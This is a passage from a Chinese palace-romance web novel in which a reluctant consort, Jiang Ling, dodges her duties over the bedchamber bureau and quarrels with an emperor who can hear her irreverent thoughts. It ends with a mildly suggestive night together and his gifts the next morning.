“等下你们拿去分了吧。”江舲盖上盖子道。 文涓见江舲脸色不大好,劝道:“这是皇上赏赐给美人的东西,算是御赐之物,奴婢给美人留着。美人看奴婢们差使当得好,不时赏赐几颗,也说得过去。” 江舲叹气,闷闷不乐在榻上躺了下来。文涓不再多劝,抱起罐子,连着风帽一并收了起来。 阿箬送了茶水进屋,喜滋滋道:“美人,皇上赏赐了美人松子糖,差张善送了来。奴婢放在……咦,怎地不见了?” 文涓走了过来,道:“我收在了柜子中。” 阿箬松了口气,倒了热茶放在矮案上,道:“美人,秦尙宫来了好一阵,在偏屋等着,美人可得空见她?” 江舲一听,忙撑着坐起身,道:“你快去请她进来。” 阿箬应下出去了,很快领了秦尙宫进屋。江舲打量过去,秦尙宫约莫四十岁左右,身形微丰,圆脸,逢人便露三分笑。她上前深深屈膝下去,动作一丝不苟,道:“奴婢见过江美人。” “秦尙宫无需多礼,坐吧。”江舲客气地道,让阿箬斟茶,“你去一趟库房,青纹不忙的话,你让她回来。” 秦尙宫斜着身子,只坐了半边的锦凳,闻言忙起身谢恩。 文涓带着阿箬走了出去,江舲问道:“秦尙宫以前在何处当差?” 秦尙宫恭敬回道:“奴婢自小伺候皇上,皇上大婚后,奴婢去了先皇后跟前当差。先皇后薨逝之后,奴婢留在坤宁宫,管着洒扫的差使。” 江舲心道原来是元明帝身边的老人,按照她的年纪,进宫至少已有二十多年。 既然她在后宫浸淫这些年,又是元明帝亲自指来之人,江舲灵机一动,顿时不客气了,直接甩包袱:“秦尙宫是宫中的老人,深得皇上信任,我就不多说了。以后尚寝局,有劳秦尙宫多费些心。若是有事的话,你不用问我,直接去跟皇上回禀,请皇上定夺。” 秦尙宫对江舲并不熟悉,来之前思前想后,做好了被新冒出头美人为难的打算。万万没想到,一来,江舲就摆出撂挑子的架势。 她愣了下,道:“美人管着尚寝局,奴婢在美人跟前当差,定会照着规矩,听从美人差遣。” 江舲见秦尙宫说得滴水不漏,言外之意,并不会因为是元明帝派来之人,便不将她这个主子放在眼里。 “秦尙宫,我不喜拐弯抹角,向来有话直说。管着灯烛处,也是德妃娘娘身子不好,让我搭把手看着。” 江舲无比真诚,无比恳切地道:“后宫都要听从皇上的旨意,尚寝局,更是皇上的尚寝局。秦尙宫来请示我,不如直接去请示皇上省事。” 秦尙宫看不透江舲的真实想法,一时不敢下决断,斟酌着道:“奴婢遵命。” 江舲愉快地道:“秦尙宫,原来在我身边当差的青纹,如今我派她在库房当差,皇上指了她做司灯。尚寝局的事情,我就不多问,瞎指挥。以后,有劳秦尙宫多费些心,你自去忙吧。” 秦尙宫忙道不敢,起身见礼:“这是奴婢应做之事,美人忙,奴婢就不多打扰了。” 打发走秦尙宫,青纹从库房回来,掀帘走进次间,上前见礼道:“美人放心,库房那边没事,巧心兰芸她们的账目,奴婢都亲自看着。” 江舲让青纹坐,道:“我叫你回来,不是为库房之事。这些天你都在库房看着,对灯烛上的事情,应该也比较熟悉了。以后你就去司灯司当差,升做司灯。” 青纹整个人都愣在那里,脸色变换不停,喜悦茫然不解交织。 江舲微笑着道:“钟尙宫不在了,尙寝局换了秦尚宫。你去收拾一下,以后就到秦尙宫底下当差做事,有事你去向她回禀就是。” 青纹心情很是复杂,她缓缓站起身,屈膝施礼下去:“奴婢这就去收拾。” 她脚步动了动,复又停下了,再次屈膝下去,道:“奴婢在美人跟前当差这段时日,幸得美人仁厚,不嫌弃奴婢愚钝,还提携举荐奴婢做了司灯。美人的大恩,奴婢没齿难忘,定会报答美人。” 去灯烛处是提携,足以表明青纹在她身边伺候,该是何等的憋屈。 平时青纹说话密不透风,她肯定是激动,一下没沉住气,将心中的真实想法吐露了出来。 江舲不求她的报答,繁英阁庙小,请不下她这尊大菩萨,还是各自安好为上。 青纹回屋去收拾,文涓走了进来,阿箬正在收拾茶盏,江舲让她将芳荷叫了来,道:“青纹去了司灯司做司灯,以后就你们三人在我身边当差。” 文涓先前已经得知,神色如常聆听。阿箬芳荷都一脸惊讶,江舲看着她们,认真地道:“司灯司就一个司灯,想要做女官是不可能了。不过,你们要是想去尚寝局当差的话,我可以替你们去安排。” 阿箬看了眼芳荷,头摇得飞快,坚决地道:“奴婢不去,奴婢只留在美人身边当差。” 平时文涓管束着她们,对她们耳提目命。阿箬摸到了些门道,小心思转得飞快。 既然江舲有权势,将青纹升做司灯,留在她身边贴身伺候,肯定更有前途。 近来后宫不太平,权势滔天的蔡万峰一命呜呼,所得的家产,悉数被抄没。 芳荷一心想着出宫,即便到尚寝局能多赚几个银子,指不定连命都填了进去。 “奴婢不想去尚寝局,美人别赶奴婢走。奴婢以后会听话,老老实实当差。”芳荷急着道。 江舲道:“好,既然你们不去,我也不勉强。虽说少了一人,我平时也没什么事,会尽量不会让你们累着。” 几人都清楚江舲的脾性,夜里不用她们守夜,白日除去吃便是睡,从未刁难苛待过她们。 文涓笑道:“奴婢哪有累着,美人真是说笑了。不过,照规矩美人身边该有四人伺候,内尚书省何时会差新人来?” 虽向元明帝说过不再添人,他多次出尔反尔,江舲不敢断定,道:“我暂时没要人,至于以后会如何,且待那时再说。” 文涓道是,“奴婢再重新做当值的安排。” 无事一身轻,江舲重新躺了下来。她舒展着身子,靠在软垫上,舒舒服服地歇着了。 翌日,高才人移灵奉先寺。尙寝局由江舲管着,秦尙宫做了尙宫之事,后宫无人不知。 后宫与前朝最近事情不断,后宫人人自危。此事如同小石子入水,溅起水波细微荡漾,很快就无声无息了。 冬至很快来临,宫中早早就开始布置过节,苑囿送来花草,尚寝局忙着装点。 秦尙宫前来见江舲:“美人,天气寒冷,苑囿养着水仙,瑞香,腊梅,山茶等花草。苑囿的李员外郎称,今年的瑞香开得少,水仙茶花亦不多,要紧着太极殿以及垂拱殿用。太妃以及各处娘娘们,多送些腊梅来补齐。瑞香茶花水仙都比较贵重,腊梅不值钱。御花园也有腊梅,在十月下旬就开了,允各宫去剪一两枝回去赏玩。如重华宫福庆殿慈元宫几处,往年都多要瑞香,山茶。奴婢不敢做主,还请美人示下。” 江舲一听事关李婕妤的大哥,更不敢擅自更换林贵妃赵德妃柳贤妃的花草,她马上道:“秦尙宫,往年如何,各宫的娘娘喜好何种花草,我皆一概不知。太妃是长辈,我哪敢随意做主。何况,苑囿由工部管着,前朝的事情,你得去请皇上拿主意。” 秦尙宫见江舲打定主意不管,她也头疼得很,只能前去找元明帝。 冬至天子祭祀,太庙拜祭祖宗,接见番邦的使臣。加之前朝后宫都事情不断,元明帝忙得不可开交。 在太极殿宴请过使臣,元明帝回到垂拱殿。吃了几杯酒,疲倦袭来,连朝服都懒得更换,半靠在榻上闭目养神。 秦尙宫前来觐见,元明帝打起精神听了她的回禀,气得脸色铁青。 这个混账,真真会偷奸耍滑! 让她管着的事,竟然推到了他头上来。 推脱也就罢了,她身为管事之人,却不见人影,只让听差的奴仆来找他! 元明帝咬牙切齿骂了句,气得连疲惫都忘记,怒气冲冲来到繁英阁,准备找江舲算账。 第35章 江舲正在次间午歇, 元明帝猝不及防到来,她被文涓紧急叫醒,只来得及胡乱套上外衫, 头发尙披散在脑后。 元明帝走得快,他微微喘气, 盯着睡眼惺忪的江舲,气更不打一处来。 文涓在慌忙收拾榻上的被褥, 阿箬送热茶进来, 元明帝厉声道:“都出去!” 阿箬惊得手一抖,赶忙放下茶盏退了出屋。文涓担忧地看了眼江舲, 惴惴不安地退下。 江舲一个激灵,下意识抬头, 茫然看向元明帝。迎着他冰冷的目光, 慌忙避开,低眉敛目恭敬肃立。 元明帝怒道:“江氏,让你管着尚寝局, 你却阳奉阴违, 着实可恶!” 原来是因为花木之事, 反正横竖都不讨好, 江舲干脆认罪:“是臣妾愚钝, 请皇上责罚。” “既知晓自己愚钝, 便要虚心听话!”元明帝气结,被堵得胸闷。他手一挥, 推开榻上的锦被。 正待撩袍坐下, 一股腊梅的浓香扑鼻。他愣了下,低头看去,几个香包滚了出来。 “这是劳什子东西?”元明帝伸手拿起一个香包, 凑在鼻前一闻,温热的腊梅香沁人心脾。 “回皇上的话,尙寝局送了腊梅来,这是腊梅香囊。”江舲回道。 “原来,你还知道收下腊梅啊!”元明帝嘲讽地道,在榻上坐了下来,不禁转头四望。 次间疏朗,除去几案罗汉榻,不见任何的摆设。倒是榻上堆着软垫锦被,布置得舒适极了。 想着她成日懒洋洋,赖在榻上吃吃睡睡,元明帝余怒未消,道:“真真是朽木不可雕也!” 江舲规规矩矩立着,低头不语领训。她此时烦躁极了,做好了被送进皇庙的打算。 “青灯古佛一辈子,好过在宫中成日提心吊胆过日子。到处都是惹不起的人,你的小心肝,老丈人舅子们满朝堂。这样不对,那也不对,反正都是你说了算。” 江舲脑中乱七八糟想着,越来越不耐烦:“快点,给个痛快,老娘不奉陪了!” 元明帝脸都青了,她不学无术,还敢不服气,真是岂有此理! 他是天子,君臣名分不可乱,便是皇后的母家,也不敢以他的老丈人舅子自居。 他给她权势,好吃好喝养着她。她却不领情,竟然将后宫视为洪水猛兽,情愿去皇庙! 元明帝这时宁愿听不到她乱七八糟的心声,省得生气。不如直接废黜她的封号,如她的愿,送她去皇庙吃苦受罪。 “苏月也在皇庙,哈哈哈好滑稽,殊途同归了。她会不会报仇啊?不怕她,到时候她敢来,甭废话,直接动手,揍得她满地找牙!” 元明帝彻底无语,死到临头,她还有闲心胡思乱想。且闺阁女子何曾如此粗鲁,竟然想着与那市井泼妇破皮般,与人动手斗殴! “不对,佛门清净之地,不能打架。呵呵,佛清净,庙可不清净。皇庙藏污纳垢,就是监狱版的后宫。不行!” 元明帝不知不觉听出了神,江舲突然朝他看来,道:“皇上,臣妾有几句话想说。” “你有何话?”元明帝怔怔问道。 “臣妾想知晓,若是前朝的朝臣官员请求辞官,皇上可会应允?”江舲问道。 尙有近百的进士,丁忧满三年的官员侯官补缺。僧多粥少,吏部官员头疼,元明帝亦如此,巴不得有人辞官。 元明帝昂起下巴,傲然道:“天下之大,何愁无人为大胤效力。既不愿入朝为官,朕岂会勉强,当随他们去。” 江舲屈膝下去,道:“臣妾奏请皇上恩准,辞去尚寝局的差使。” 元明帝没曾想到,她竟然拿前朝来比喻后宫。他被噎了下,懊恼地道:“后宫岂能与前朝相提并论,你是朕的嫔妃,朕供你吃穿,金尊玉贵养着你,你理当为朕分忧解难。” 他哼了声,斜乜过去,缓缓道:“你若强将后宫比作前朝,朕姑且不与你计较。只辞官的官员,不可再领俸禄。你若不想管,朕也随你,一应的吃穿用度,月例,皆不可再得。” “皇上,夏美人蒋美人她们与臣妾领一样的月例,却无需管事。” 江舲说完,自己也觉着可笑,暗自恨恨道:“与皇帝讲道理,真是闲得慌,活腻了。这后宫中不公平的事情,比天上的星星都多,跟他说个屁啊!行,管就管,老子要克扣,要贪污,要看人下碟,什么便宜的腊梅,给老子送最贵重的瑞香山茶来!” 元明帝这才想起,她的寝宫不见水仙瑞香山茶,只有腊梅被她做成了香包。 照理她管着尚寝局,就算再缺花草,也少不了她。 元明帝心里的那股怒气,被她一通闹腾,早就不知不觉散了。 思及她的赤子之心,元明帝语气情不自禁软和下来,道:“朕岂会亏待你,以后,你莫要胡闹才是。” 江舲欲哭无泪,元明帝打定心思让她管尚寝局,她百思不得其解,为何偏偏就是她! 想着她的脾气,元明帝好脾气地教她:“苑囿那边,朕自会去查清楚究竟。眼下先紧着太妃处,其余照份位高低送去。” 江舲应是,心道:“太妃那边少不得,你的心肝宝贝也少不得。你的心肝宝贝,喜好各不相同,要是最最心肝的宝贝,只喜欢山茶,将山茶全部拿了去,其他次一等的心肝宝贝,也要山茶呢?你是皇帝,当然说得轻巧,有本事,你去送,去跟她们说!” 元明帝吃了酒,早已又困又疲惫,被她吵得头更晕了,揉了揉眉心,道:“你喜欢何种花草,且先让尚寝局送来。” 江舲其实只喜欢腊梅,对这点好处,她压根看不上眼,更不想管事,闷闷不乐地道:“臣妾无需其他,只腊梅便足够。” 元明帝不想再搭理她,着实累了,往后一倒。头枕着软垫,伴着腊梅的清冽香气,舒服地闭上了眼。 “替朕更衣。”元明帝吩咐道。 江舲见元明帝倒下就睡,顿时傻了眼。她愣了下,想着更衣的差使,当然该由近身伺候的内侍去做,忙转身出去找黄梁:“黄大伴,皇上传你进去伺候。” 黄梁领着内侍进屋,轻手轻脚上前替元明帝脱下靴子,朝服。 元明帝无需睁眼,便知晓是黄梁他们。他已无力与江舲计较,有朝一日,定会好生收拾她! 罗汉榻被元明帝占去,江舲不便回卧房去歇息,只能去了西屋书房。 说是书房,案桌上只摆着翻得快烂掉的女诫诗词两本书。笔墨纸砚倒齐备,江舲哪有磨墨写字的闲心,趴在案桌上哈欠连天,很快就沉沉睡了过去。 文涓提着薰笼进来,放在江舲的身边,替她身上搭了风帽,出屋守在那里。 到了元明帝起身的时辰,黄梁等人鱼贯而入伺候。文涓赶忙让阿箬去拧了热帕子进来,上前唤醒江舲:“美人,皇上起身了。” 江舲睡得半边身子都僵硬,手臂发麻。她活动着手臂,喝了清茶漱口,将热帕子搭在脸上一阵搓揉,清醒了七八分。 元明帝平时午睡起来,总会头晕脑胀。今日歇得晚,还是歇在罗汉榻上,却难得睡了个好觉,醒来神清气爽。 看着榻上的香包,元明帝吩咐道:“以后给朕的枕边,也备上新鲜的香包。” 黄梁应诺,忙让内侍去准备。元明帝穿戴整齐,不见江舲的人影,他以为她定是又躲着去歇息了,他心情愉悦,大度地随了她。 走出次间,元明帝见江舲立在正堂,意外不已,仔仔细细打量着她。见她无精打采,一幅没睡好的模样,不由得愈发高兴:“冬至到来,朕忙得很。尚寝局的事,不可再丢下不管!” 江舲应是,元明帝负手在后,含笑扬长而去。 终于清净下来,江舲回到次间,往榻上一趟,有气无力道:“文涓,将西屋书房收拾一下,放上罗汉榻备着。” 文涓抿嘴笑,道:“等下奴婢叫上阿箬芳荷,将偏屋的坐榻抬进去,只坐榻要窄一些,比不上次间的舒适。” 只要不再趴在案桌上睡觉,江舲已经心满意足,道:“坐榻之事先放一放,你让阿箬去将秦尙宫请来。” 文涓出去传话,过了一阵,阿箬带着秦尙宫来了。 江舲也不问秦尙宫究竟在元明帝面前,究竟说了些什么,让他前来朝她发了一顿脾气,只道:“秦尙宫,先前皇上来过了。皇上口谕,苑囿花木不足,先紧着太妃处,其余照份位高低送去。” 元明帝怒气冲冲到繁英阁,江舲却毫发无损。秦尙宫心中惊异,对她不免愈发恭敬。 既然有元明帝的旨意,一切都好办看,秦尙宫自不多言,应声道,“奴婢这就去办。美人可还需要别的花草?” 江舲道不用,摆出正义凛然的架势,道:“我掌管着尚寝局,当要以身作则。且花草不足,我如何能只顾着自己享受,先以其他姐妹为先才是。若有多余的腊梅,我拿上几枝便是。” 秦尙宫忙屈膝下去,道:“美人大度,是奴婢小人之心,请美人责罚。” 江舲摆摆手,道:“秦尙宫是宫中的老人,稳重谨慎,尚寝局还得多靠你看着。花草的事耽搁不得,你且去忙吧。” 秦尙宫站起身,迟疑了下,道:“奴婢先前着实没法子,便去找了皇上,如实回禀了花草不足之事。奴婢不该擅自前去找皇上,让美人为难。” “你我都不敢拿主意,只能找皇上解决。且是我让你去找皇上,你并非擅自前去。” 江舲见秦尙宫肯主动交代解释,低头认错,至少有担当,坦诚,她再念叨不放,就变成锱铢必较了。 秦尙宫微愣,心中感慨不已。她见多了一朝得宠,便苛刻难伺候的嫔妃。没想到,江舲虽不肯担事,却并非不明事理,睚眦必报之人。 打发走秦尙宫,江舲躺在榻上歇息。迷迷糊糊中,阿箬兴奋地跑了进来,道:“美人,张善送赏赐来了!” 江舲坐起身,茫然道:“什么赏赐?” 阿箬笑得眼睛都眯成了一道缝,道:“奴婢也不知,张善他们抱着匣子来,奴婢瞧着像是头面宝石!” 江舲听到金银珠宝,马上精神一震,下榻来到正厅。 张善领着内侍上前见礼,奉上匣子,传了元明帝旨意:“江美人管尚寝局有功,赏江美人玉如意一柄,金嵌红宝石手镯一只,龙涎香两匣,松子糖一匣。” 江舲暗自骂着小气,连松子糖也算赏赐。她谢恩后收下匣子,文涓掏出荷包塞给张善,他接过去,脸上笑容浓了几分,施礼告退。 金嵌红宝石手镯金光闪闪,江舲戴在手腕上试了试,取下放进匣子中。她对龙涎香不感兴趣,再拿出玉如意挠了下,暗搓搓嫌弃撇嘴。还是木做的有力道,挠得过瘾。 “糖你们拿着吃,其他的都收起来。”江舲说道。 文涓抱着匣子去收拾好,与阿箬芳荷分了糖吃,前去收拾西屋。 江舲含着糖,重新躺回榻上。此时天色已经渐晚,她怕夜里睡不着,用糖提着神。 天色一点点昏暗下来,文涓拿着蜂蜡进屋来掌灯。江舲盘腿坐在榻上,摸着额头冒出的疙瘩,郁闷地道:“文涓,你把糖收起来,大家都少吃些。” 文涓瞧见江舲的动作,端着烛台,凑上前仔细一瞧,道:“好似是长了面疱。美人快别摸,仔细会化脓。” 江舲放下手,哀嚎着道:“长在眉心,遮都遮不住,太难看了!” “美人莫急,长在眉心,像是点了花钿般呢。”文涓宽慰着江舲,左右打量之后,眼睛一亮,道:“不若奴婢用胭脂,替美人画上花钿,美人觉着可好?” 宫中时兴装扮各式的花钿,江舲闲得很,当即点头不跌。文涓取了胭脂与细毫毛笔来,用笔尖簪了胭脂,专注地顺着面疱,画了一朵红梅。 “美人瞧瞧可满意?”文涓拿来铜镜,让江舲照着镜子。 江舲看着镜子中的人,眉间盛放着一朵红梅,令素面朝天的脸,瞬间都亮了起来。 不过,若仔细瞧,红疙瘩依旧明显。江舲念着文涓的辛苦,夸道:“你的手真是灵巧,画得活灵活现。” 文涓得了夸赞,高兴地道:“美人要是喜欢,以后奴婢都替美人画。” 江舲笑着说好,文涓捧着镜子放回妆奁台,“时辰不早,奴婢去提膳食。” 这时,黄梁与殿前内侍录事从影壁外绕了进来,他看到从正屋出来的文涓,道:“文涓你这是去何处,江美人呢?” 文涓见礼,眼觑着录事,答道:“美人在屋中,我去膳房取晚膳。黄大伴章录事来了,快请进来坐。” 江舲听到外面的说话声,霎时大惊。 章录事的大名无人不知,他是记录元明帝临幸后妃的宦官! 她不敢置信,忙跳下塌,趿拉上鞋子奔到正厅。 两人走进来,章录事拿着笔墨记录,黄梁挺直身子,神情肃穆,声音铿锵有力地道:“皇上有旨!宣江美人到垂拱殿入侍!” 第36章 照着规矩, 被皇帝宣召临幸的嫔妃,皆要盛装打扮。 江舲像是木偶一样,任由文涓阿箬梳妆更衣。 阿箬兴奋不已, 把箱笼的衣衫全部翻出来,拿到江舲身前比划, 打算选出最漂亮的一身。 可惜,去年的冬装已经半旧。今年的要新一些, 升为美人之后添了月例, 统共也只有五身。 阿箬难掩失望,翻来覆去半天, 选了件雨后天青的对襟旋袄,伺候江舲换上。 文涓手指麻利地挽着发髻, 不时觑着铜镜中的江舲, 眼神中满是担忧。 “美人瞧瞧可满意?”文涓陪着笑,轻声问道。 “满意。”江舲眼都不抬道。 文涓微愣,神色欲言又止。她让阿箬出去招呼黄梁章录事, 终是鼓起勇气, 小声道:“美人可是有心事?” “没有。”江舲站起身, 带着破釜沉舟的坚决, 朝外走去。 她的心事太复杂, 三言两语道不明白。文涓不一定会理解, 其实,她自己亦一团混乱, 见到江舲出来, 黄梁与章录事忙起身。文涓拿出两只荷包奉上,笑道:“辛苦二位了。” 江舲低头往外走,尽量不去听他们的寒暄。 寒意凛冽, 夜空中繁星满天,星光流转。在以前,极难见到如此璀璨的星夜。 江舲无心欣赏,只觉着星星都在看笑话。她是被奉上桌的菜,摆上精美的盘,供元明帝享用。 文涓处世周全,拿了银子打赏黄梁章录事。好似她这道菜,还要给银子,才能送到元明帝面前。 狗东西! 江舲一路骂着进了琼华阁,元明帝姿态惬意地依靠在榻上,手上捧着茶盏正在吃茶。 屋中暖意融融,角落花瓶中插着腊梅,清冽的花香扑鼻。 江舲低眉敛目,规规矩矩见礼:“臣妾见过皇上。” “坐吧。”元明帝叫起,低头吃起了茶。 “她怎地这般安静?”元明帝做好了她会乱七八糟说胡话的打算,没曾想到,她却寂静无声。 不知为何,元明帝莫名地感到阵阵局促。他掀起眼皮看去,见她谢恩后坐了下来,手搭在膝盖上,温婉柔顺,依旧无声无息。 他不禁咳了下,吩咐道:“传膳。” 黄梁走了出去,很快领着内侍宫女,提着热水帕子食匣鱼贯而入。 元明帝净手之后,接过帕子擦拭着手。他斜眼看向江舲,她手放在银盆中,纤细的手指交错搓揉着,低垂着头,露出一截雪白的脖颈。 “净手只蘸了蘸水,怎地不干脆吐口口水抹一下呢,果然脏!” 终于听到她的心声,元明帝倒宁愿耳聋了。他木着脸,将帕子扔进银盆,在案桌前坐下。 黄梁领着内侍上前布膳,他抬手道:“都下去。” 省得她等下偷偷嘲讽,原来皇帝要亲自吃饭,亲自如厕。 黄梁领着宫女内侍退出去,屋中安静下来。元明帝瞄了眼端坐着的江舲,提壶斟了半杯酒,道:“冬日寒冷,吃些温酒驱寒。” 酒壶浸在热水中,江舲早就闻到了黄酒的气味。她应是,斟了满满的一杯,待元明帝举杯抿过之后,她侧过身,抬起衣袖微微遮挡,将酒一饮而尽。 黄酒甜滋滋,江舲抿了抿唇,再斟了一杯。案桌上摆着蒸羊羔,蜜炙鹅,清蒸鱼,水晶烩,金玉羹,瓜齑等菜式,精美丰盛。 江舲只挑了清蒸鱼与瓜齑吃了两口,其余的皆碰都不碰,放下筷子端起酒杯,将酒再吃得一滴不剩。 她只有一瓶啤酒的量,酒品极好,醉酒之后不吵不闹睡去。 黄酒后劲大,两杯黄酒下肚,江舲估计已经差不多,静静等着酒劲到来。 “别吃得太急,且吃些菜蔬。”元明帝不错眼看着江舲,终于不顾食不言寝不语的规矩,皱眉提醒道。 江舲默默放下酒壶,拿起筷子夹着鱼肉,心里直骂:“瞧那小气的德行,都来陪你睡觉了,吃你几杯酒怎么了?你管老子吃不吃菜,老子不喜欢吃的,就不吃!” 虽被她暗中编排,他想要睡她。他天子胸襟,大度不与她计较。 白日曾说过不会亏待她,宣她侍寝给她荣宠,她却不领情! 后宫嫔妃众多,莫不想着能侍寝。他是皇帝,临幸她,是她莫大的荣光,还管她做何想! 元明帝铁青着脸,倒了杯酒,恨恨吃了下去。好心当做驴肝肺,他不再管她,任由她去吃。他端要瞧着,她能吃进去多少! 江舲等着酒意到来,却发现自己神清目明。过了一阵,她恍然大悟,重新提壶倒了一杯。 以前的她酒量浅,并不表示现在的她酒量浅。 江舲抿着酒琢磨,脑中突然浮起一个念头:“不行,我要睡他!是我睡他!” 事已至此,管不了元明帝是否干净。她向来不以为男欢女爱是羞耻之事,像男人那样掌控主动权,享受其中。 元明帝刚抿了一口酒,被她震惊得酒喷出去,大声呛咳起来。黄梁在外听到,忙冲到门口,探头朝里张望,赶忙进屋来,焦急地道:“皇上怎地了,可要奴婢传太医?” 江舲也被惊了跳,一脸莫名其妙看着元明帝,心道:“真是弱鸡崽,喝口酒都能呛着。黄梁也好好笑,跟生了大病一样,还要请太医。嘿嘿,是要请太医,治治脑子。” 元明帝气得想掐死江舲,被她一激,喘着气沉声道:“换一桌酒菜来,多温几壶酒!” 他倒要好生瞧瞧她的本事,看她能吃多少酒,等着她来睡他! 黄梁见元明帝动怒,大气都不敢出,躬身退了出去,忙唤内侍去准备酒菜。 很快,元明帝的案桌上重新摆满酒菜,他斜乜着江舲,道:“且坐过来,朕与你吃几杯。” 江舲暗骂了句,奉命坐到元明帝身旁。他抬起下巴,板着脸道:“斟酒。” “你手长着,只拿来挖鼻孔吗?”江舲规矩斟酒,心里骂骂咧咧。 元明帝呼吸一窒,死死盯着江舲,挖苦道:“这张脸跟那台上唱大戏的一样,真是难看。” 屋中烧着地龙,热意盎然。江舲估计脸上的脂粉已经晕开,她抬手抚摸了下,拿起帕子擦拭。 “咦,别动。”元明帝拉住江舲的衣袖,凑上前来,仔细打量着她眉心的花钿。 “这是甚?”元明帝看到突起的红包,伸手去触摸。 江舲下意识偏开头,道:“皇上,臣妾生了面疱……”她脑中灵机一动,赶忙往后退,诚惶诚恐地道:“臣妾身子有恙,面露不雅,不该隐瞒,请皇上恕罪……” “好生坐着!”元明帝似笑非笑道。 她休想找借口,区区一个面疱,快被她当做不治之症了。 江舲郁闷不已,只能回去坐下,拿起帕子继续擦拭。 元明帝望着她的眉心,忍不住道:“留着吧,遮一遮你的不雅。” 她虽腹内草莽,皮囊生得真真好。拭去面上的胭脂水粉,露出原本素净白皙的模样,衬着眉心的花钿,美如雪中盛放的寒梅。 江舲收起帕子,垂下眼眸暗骂了句:“拜托,去照照镜子吧,瞧瞧你的模样,要不是皇帝,在我们村中都娶不到老婆!” 元明帝向来自信,他英姿不凡,岂能被她三言两语打击。不过,他她父亲做了多年县令,在县衙出生长大,何来的村中之说? 想着她成日一派胡言,元明帝很快打消了疑虑,好奇问道:“好好的,怎地就生了面疱?” 江舲要是如实说出因着糖吃得太多,指不定会背他如何嘲笑。她讪笑了下,含糊道:“臣妾也不知,就突然生了出来。” 元明帝看着她心虚的模样,哪能不知她在撒谎。他君子地没去戳穿她,端起酒杯,道:“酒菜都快凉了,且快些吃。” 江舲呵呵,他主动吃酒,正中她的下怀。她端起酒,一口吃了下去,拿着酒杯向下,道:“皇上,臣妾已经吃完。” 元明帝不甘落后,跟着扬首吃尽。两人暗自较劲,你来我往吃着酒,很快两壶酒见底。 酒意终于到来,江舲眼眸泛起红意,身子发热,觉着有些飘飘然,不受控制微笑。 元明帝平时经常吃酒,酒量极好。只他注重养生之道,从未如今夜吃这般急,也许久不曾吃这般多。他的头开始发沉,知道自己已有醉意,直勾勾看着江舲,将酒杯一扔,道:“时辰不早,歇了吧。” 江舲微笑道好,快活地想道:“弱鸡!” 元明帝咬了咬牙,强压住心头乱窜的火苗,唤黄梁进屋来伺候。 等下再收拾她,要她哭天喊地! 司寝宫女早已铺好了床,另有小宫女领着江舲前去更洗。她洗漱完出来,元明帝已侧躺在床。身前的里衣半敞,一缕头发垂落在露出的肌肤上。 “他难道没洗?”江舲睁大眼,眼睛发直盯着他。 元明帝不与她一般见识,挥手斥退伺候的宫女,不悦道:“你还站着作甚?” 江舲一步步走向龙床,抬走上脚踏,垂眸看去,终于看清他微微湿润的头发,一下松了口气:“幸好幸好,他洗了一下……” 这时,她眼前一花,一头栽倒在床。 元明帝再也听不下去,伸手将她拽上床。手刚抬起,眼前一黑,她已欺身上前。 “大…….”元明帝脱口就骂,话刚出口,便急急打住了。他双眸闪亮,掩饰不住地期待。 江舲哪能让他只顾着自己快活,她当然要绝对掌控。手不客气,先验他的基本状况。 不功不过。 挑剔无用,江舲只能将就一下,盼着他能靠技巧以及耐力补足。 元明帝呼吸渐沉,酒意伴着兴奋,脑子全然不听使唤。在目眩神迷中,头随着江舲手的指引,深埋了下去。 宽敞的龙床上,被褥凌乱,脚踏上堆着元明帝被撕开的细帛里衣。 元明帝痛快得五脏六腑都在叫嚣,一瞬不瞬盯着帐顶,颤栗着长长喘息。 江舲坐起来,翻动被褥找到自己的里衣穿上,下床趿拉上鞋,被元明帝伸手拉住。 “夜里冷,你且歇在这里。”从未经历过如此酣畅淋漓的侍寝,元明帝很是不舍她离开。 嫔妃侍寝结束之后,必须回自己的寝宫。规矩是规矩,自是由皇帝说了算。 江舲不动声色抽回手臂,道:“皇上,这不合规矩。臣妾告退。”她屈了屈膝,脚步轻快前去净房洗漱穿衣。 眼下宫中朝堂都不太平,方司灯高才人之死尚无眉目。 元明帝让她管了尚寝局,又是赏赐又是侍寝。乍一看,她真成了最得宠之人。 宠妃下场都不大好,何况她有名无实。 往常这个时候,江舲早已入睡。先前的酒意散了些,她已困倦得眼皮都快睁不开。 先前他表现平平,天子霸气,无助他一展龙威。 看情形有心无力,至少需要一两个时辰来恢复,不值得她留下。 元明帝怔怔望着江舲离开的背影,脑中浮起一个念头。 他真被她睡了! 她穿上衣衫,就不认人了! 第37章 天光微明, 琼华阁灯如白昼。宫女内侍们来回忙碌,轻手轻脚井然有序。 元明帝坐在榻上,吩咐伺候他穿靴子的黄梁:“赏繁英阁缠枝牡丹纹玉梳一柄, 雨过天青釉玉壶春瓶,白釉刻莲纹梅瓶各一只, 粉青釉八方盏一套。” 昨夜她身着雨过天青色的旋袄,颜色真如雨后初霁。她总是抱怨他小气, 连只装糖的罐子都惦记着, 真是丢了天家的脸。她那头卷曲的乌发,衬得她的肌肤比雪还要白, 如玉一般…… 元明帝心头时而激愤,时而激荡。 她居然胆大包天, 竟敢强让九五之尊的帝王, 屈居于她身下伺候! 只那种滋味,真真是令他神魂荡漾,沉溺其中不愿醒来。 黄梁手微顿, 悄然抬眼, 觑着元明帝恍惚的神色, 暗暗惊异不已。 嫔妃侍寝之后, 元明帝多有赏赐。昨夜江舲被临幸, 今日得赏, 并不足为奇。 只黄梁贴身伺候元明帝这些年,从未见过他甫一起身, 便迫不及待赏赐之事。 江舲所得的花瓶杯盏, 皆是元明帝指了官窑烧制,平时的喜好之物。 黄梁暗忖,看来, 那位木讷美人还颇有几分本事。 花无百日红,后宫中新鲜水灵的嫔妃,与春韭般一茬接一茬,又如秋冬草木般枯黄,凋零。 黄梁并不当做回事,恭敬应是,继续手上的动作。 穿好靴子,元明帝起身去用膳。他走了两步,脚步微顿,道:“若繁英阁来人,且传进来便是。” 按照规矩,嫔妃侍寝之后,需来向皇帝谢恩。 黄梁忙俯身,回道:“皇上,先前繁英阁伺候的文涓来过,称江美人身子有恙,恐将病气过给了皇上,由文涓前来,在外给皇上磕头谢了恩。” 元明帝听到身子有恙,脸色顿时难看起来,不禁暗自错牙:“可请了太医?” 黄梁忙道:“奴婢问过文涓,文涓称不曾请太医。如今正值冬至喜庆之时,不宜请太医。江美人能撑一撑,待冬至之后若不见好转,再请太医便是。” 元明帝黑沉着脸,一言不发走了出去。 真真是可恶,不过生了面疱,她竟厚着脸皮,一次次拿出来做借口! 显得他非但被她睡了,还眼巴巴送礼上门谢恩,简直是反了天! 